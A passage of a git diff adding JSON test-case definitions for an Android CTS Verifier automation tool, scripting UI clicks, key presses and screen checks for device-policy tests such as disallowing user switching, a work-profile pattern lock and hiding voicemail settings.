position\",\"actionId\":\"1c5ccde1-e5ed-49c5-ad52-e2fd6bbca8d5\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.settings:id/switch_text\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Off\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"a37751d9-9cc7-4b99-a3ff-c306e29b5a34\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify user switcher is hidden or disabled in quick settings\",\"actionId\":\"4d91fce0-c53e-46a6-ad81-a7d015a11de2\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.systemui:id/multi_user_avatar\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"89c263fa-d4b1-4925-8ffa-23fc59e06e05\",\"displayText\":\"Signed in as Owner\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"42574744-549d-4e6d-a961-3acfd85a7871\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.systemui:id/multi_user_avatar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":284.75,\"y1\":399.25,\"x2\":302.25,\"y2\":416.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.5,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.systemui:id/multi_user_switch\",\"contentDesc\":\"Signed in as Owner\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":272.5,\"y1\":387.0,\"x2\":314.5,\"y2\":429.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":291.0,\"y\":407.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":2.5,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"42574744-549d-4e6d-a961-3acfd85a7871\",\"firstText\":\"Signed in as Owner\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.systemui:id/multi_user_avatar\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":273.0,\"y1\":393.0,\"x2\":309.0,\"y2\":422.0}}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"3f0d8bad-ac69-4974-bd0d-c438bf73529f\",\"b386dd6c-385d-436d-be03-b2f380c21eda\",\"f4f53349-61a1-46a0-9036-d41d0b62e140\",\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"1c5ccde1-e5ed-49c5-ad52-e2fd6bbca8d5\",\"a37751d9-9cc7-4b99-a3ff-c306e29b5a34\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"4d91fce0-c53e-46a6-ad81-a7d015a11de2\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"20-Disallow user switch","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.207000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3aefa26b-3d3e-4320-b4b0-9569556fd846 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3aefa26b-3d3e-4320-b4b0-9569556fd846
new file mode 100644
index 0000000..f2151da
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3aefa26b-3d3e-4320-b4b0-9569556fd846
@@ -0,0 +1 @@
+{"uuid":"3aefa26b-3d3e-4320-b4b0-9569556fd846","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Clear Org\\\" button\",\"actionId\":\"3aefa26b-3d3e-4320-b4b0-9569556fd846\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Clear Org\",\"actionId\":\"c93bbdf4-6bdc-4919-875e-84f862be3345\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Clear Org\"}],\"childrenIdList\":[\"c93bbdf4-6bdc-4919-875e-84f862be3345\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Clear Org\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.190000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3be8537e-efa4-4056-ba31-899cb90c8702 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3be8537e-efa4-4056-ba31-899cb90c8702
new file mode 100644
index 0000000..9794d8a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3be8537e-efa4-4056-ba31-899cb90c8702
@@ -0,0 +1 @@
+{"uuid":"3be8537e-efa4-4056-ba31-899cb90c8702","details":"{\"type\":\"CompoundAction\",\"name\":\"27_Confirm pattern lock test\",\"actionId\":\"3be8537e-efa4-4056-ba31-899cb90c8702\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Confirm pattern lock test\",\"actionId\":\"e256df36-9278-40f4-93fc-264cbe994076\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Confirm pattern lock test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"84de7f8c-20b5-48fc-9320-b77d32258dc4\",\"displayText\":\"Work notification is badged\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Work notification is badged\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":493.6666666666667,\"x2\":360.0,\"y2\":535.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":89.5,\"y\":502.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":90.5,\"y\":12.666666666666629,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"84de7f8c-20b5-48fc-9320-b77d32258dc4\",\"firstText\":\"Work notification is badged\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Confirm pattern lock test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":0.0,\"y1\":489.0,\"x2\":179.0,\"y2\":515.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm pattern lock test\",\"actionId\":\"5e9ab2dd-67d4-4527-a2dc-1ce4f2bd7174\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm pattern lock test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Pattern\",\"actionId\":\"49f7fcb2-4780-41f8-a1bd-4331df6c99de\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Pattern\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"e11f68b0-a083-4ab2-8d78-fa77aa23d12d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm\",\"actionId\":\"f9b302f1-db24-45b2-8adf-1ad84c30ca64\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"7589192d-6323-4640-8d65-eb7c1789ba42\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"d2dbf673-be5b-45db-9059-bf6954a2c9ec\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Home Button\",\"actionId\":\"cc8293b3-b66d-4935-bd3a-3d3f2e45cff0\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":3,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"a44ceb60-e553-4220-b84d-b22a4c5e97c1\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/tab_work\",\"actionId\":\"a1bce504-6e0c-47d2-b86f-53b4410433ad\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.apps.nexuslauncher:id/tab_work\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work Contacts\",\"actionId\":\"84e74b9f-178d-401e-a230-fb7edb3be38d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work Contacts\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if work pattern lock appear\",\"actionId\":\"59b51257-e077-488f-a5c2-f7bb84a3d1ea\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Enter your work pattern\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"23483d51-d7d2-40fb-9c7a-4dffe29808e5\",\"displayText\":\"Enter your work pattern\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/headerText\",\"text\":\"Enter your work pattern\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":132.33333333333334,\"x2\":339.0,\"y2\":160.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":189.5,\"y\":144.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-9.5,\"y\":2.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"23483d51-d7d2-40fb-9c7a-4dffe29808e5\",\"firstText\":\"Enter your work pattern\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Enter your work pattern\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":67.0,\"y1\":128.0,\"x2\":312.0,\"y2\":160.0}},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if work contact is launched\",\"actionId\":\"096d714f-3484-4b4e-9c4a-83314332a192\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.contacts:id/product_name\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Contacts\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Home Button\",\"actionId\":\"390ba1a4-3cc8-4cce-a723-39cb081f85a7\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":3,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"54d8354f-7bb7-415e-9b22-fcc2a6df48c0\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/tab_personal\",\"actionId\":\"26bba8bc-59fd-4146-943a-8d559a4731ec\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.apps.nexuslauncher:id/tab_personal\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"cff37826-1a59-4663-9e14-12851a71466c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"e256df36-9278-40f4-93fc-264cbe994076\",\"5e9ab2dd-67d4-4527-a2dc-1ce4f2bd7174\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"49f7fcb2-4780-41f8-a1bd-4331df6c99de\",\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\",\"e11f68b0-a083-4ab2-8d78-fa77aa23d12d\",\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\",\"f9b302f1-db24-45b2-8adf-1ad84c30ca64\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\",\"7589192d-6323-4640-8d65-eb7c1789ba42\",\"d2dbf673-be5b-45db-9059-bf6954a2c9ec\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"cc8293b3-b66d-4935-bd3a-3d3f2e45cff0\",\"a44ceb60-e553-4220-b84d-b22a4c5e97c1\",\"a1bce504-6e0c-47d2-b86f-53b4410433ad\",\"84e74b9f-178d-401e-a230-fb7edb3be38d\",\"59b51257-e077-488f-a5c2-f7bb84a3d1ea\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"096d714f-3484-4b4e-9c4a-83314332a192\",\"390ba1a4-3cc8-4cce-a723-39cb081f85a7\",\"54d8354f-7bb7-415e-9b22-fcc2a6df48c0\",\"26bba8bc-59fd-4146-943a-8d559a4731ec\",\"cff37826-1a59-4663-9e14-12851a71466c\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"27_Confirm pattern lock test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.308000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3c16507a-cc79-4124-a23e-b402ec47f45b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3c16507a-cc79-4124-a23e-b402ec47f45b
new file mode 100644
index 0000000..dd91199
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3c16507a-cc79-4124-a23e-b402ec47f45b
@@ -0,0 +1 @@
+{"uuid":"3c16507a-cc79-4124-a23e-b402ec47f45b","details":"{\"type\":\"CompoundAction\",\"name\":\"Hide voicemail in call settings test\",\"actionId\":\"3c16507a-cc79-4124-a23e-b402ec47f45b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to \\\"Hide voicemail in call settings test\\\"\",\"actionId\":\"d0e1ab02-6413-4116-a94b-799040e808a1\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Hide voicemail in call settings test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"69779384-8653-49be-9689-586e77a96660\",\"displayText\":\"Hide voicemail in call settings test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Hide voicemail in call settings test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":586.6666666666666,\"x2\":350.6666666666667,\"y2\":630.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":140.0,\"y\":613.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":40.0,\"y\":-4.333333333333371,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"69779384-8653-49be-9689-586e77a96660\",\"firstText\":\"Hide voicemail in call settings test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Hide voicemail in call settings test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":598.0,\"x2\":273.0,\"y2\":628.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Hide voicemail in call settings test\",\"actionId\":\"8de4a216-70b4-4048-b67d-bc7a0fbfb2e3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Hide voicemail in call settings test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/set_default_dialer\",\"actionId\":\"ed4ae336-2262-45ee-a6de-98f94e5801c2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/set_default_dialer\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/open_call_settings\",\"actionId\":\"db9f6d8b-74fb-497e-9c3f-b7ad327301b4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/open_call_settings\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"2e1a8715-d006-4995-bd93-7ca62bca2dd5\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Check if Screen is in Call settings\",\"actionId\":\"e7520f21-6755-4c0d-89c9-05d4e836e43a\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Call settings\"}]},\"clickAfterValidation\":false},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll and check if \\\"Voicemail\\\" is hidden\",\"actionId\":\"4111aac6-3776-42c5-8e71-c3aff3b5fe96\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"CONTAINS\",\"patternValue\":\"Voicemail\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"fddeac0a-f2cd-445a-b908-4f54a39a8cd2\",\"displayText\":\"Additional settings\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f73842c4-4b32-45df-a135-60c4c69b659e\",\"displayText\":\"Additional settings\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"5a3e88c3-f5b4-4819-aaff-604636dbc26a\",\"displayText\":\"Additional settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Additional settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":311.3333333333333,\"x2\":137.0,\"y2\":331.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-22.66666666666667,\"y\":2.6666666666666288,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Additional settings\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":296.6666666666667,\"x2\":345.3333333333333,\"y2\":345.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Additional settings\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":296.6666666666667,\"x2\":360.0,\"y2\":345.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":98.5,\"y\":318.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":81.5,\"y\":2.6666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"5a3e88c3-f5b4-4819-aaff-604636dbc26a\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Voicemail\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":188.0,\"y1\":332.0,\"x2\":9.0,\"y2\":305.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"e9781588-a9ee-4be2-8d35-8fb572479c50\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/restore_default_dialer\",\"actionId\":\"83cfa9ae-57f0-4f83-8322-d7c03540d385\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/restore_default_dialer\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Phone app\",\"actionId\":\"a858547e-f1c4-4c35-aa69-a49ffe287422\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Phone app\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click \\\"Phone\\\"\",\"actionId\":\"592d19a3-ab98-45bd-9eb3-bfd83e1cf28b\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/title\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Phone\"}]},\"clickAfterValidation\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f113d56c-15dc-4d8a-9715-a42d6736295d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"4d2431f1-067b-4715-ab7b-02d6b5b1b30f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/settings_hidden\",\"actionId\":\"4edebdad-1f39-41fb-83a6-9c83be15e8c8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/settings_hidden\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"d0e1ab02-6413-4116-a94b-799040e808a1\",\"8de4a216-70b4-4048-b67d-bc7a0fbfb2e3\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"ed4ae336-2262-45ee-a6de-98f94e5801c2\",\"8e5815c6-e55c-4dce-8aeb-8b2a62898a6a\",\"db9f6d8b-74fb-497e-9c3f-b7ad327301b4\",\"2e1a8715-d006-4995-bd93-7ca62bca2dd5\",\"e7520f21-6755-4c0d-89c9-05d4e836e43a\",\"4111aac6-3776-42c5-8e71-c3aff3b5fe96\",\"e9781588-a9ee-4be2-8d35-8fb572